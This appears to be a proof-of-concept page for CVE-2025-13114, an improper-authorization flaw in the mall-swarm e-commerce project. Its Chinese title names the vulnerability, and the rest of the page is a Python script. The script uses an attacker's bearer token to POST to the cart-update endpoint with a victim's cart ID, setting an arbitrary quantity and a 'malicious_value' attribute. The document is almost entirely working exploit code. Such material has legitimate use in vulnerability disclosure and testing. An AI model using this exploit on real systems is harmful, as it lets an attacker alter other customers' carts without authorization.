CVE-2025-13114 macrozheng mall-swarm权限控制不当漏洞

import requests import json # CVE-2025-13114 PoC - mall-swarm Improper Authorization # Target: macrozheng mall-swarm <= 1.0.3 TARGET_URL = "http://target-server/api/cart/update/attr" def exploit_unauthorized_cart_update(target_url, victim_cart_id, attacker_token): """ Exploit improper authorization in /cart/update/attr endpoint This PoC demonstrates how an attacker can modify another user's cart attributes """ headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Malicious payload attempting to modify victim's cart payload = { "cartId": victim_cart_id, # Victim's cart ID "skuId": 12345, "quantity": 999, # Arbitrary quantity modification "attributes": { "custom_field": "malicious_value" } } try: response = requests.post(target_url, headers=headers, json=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Exploitation successful - cart attributes modified without proper authorization") else: print("[-] Exploitation failed or access denied") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("CVE-2025-13114 PoC - mall-swarm Authorization Bypass") attacker_token = "attacker_bearer_token_here" victim_cart_id = "victim_cart_id_here" exploit_unauthorized_cart_update(TARGET_URL, victim_cart_id, attacker_token)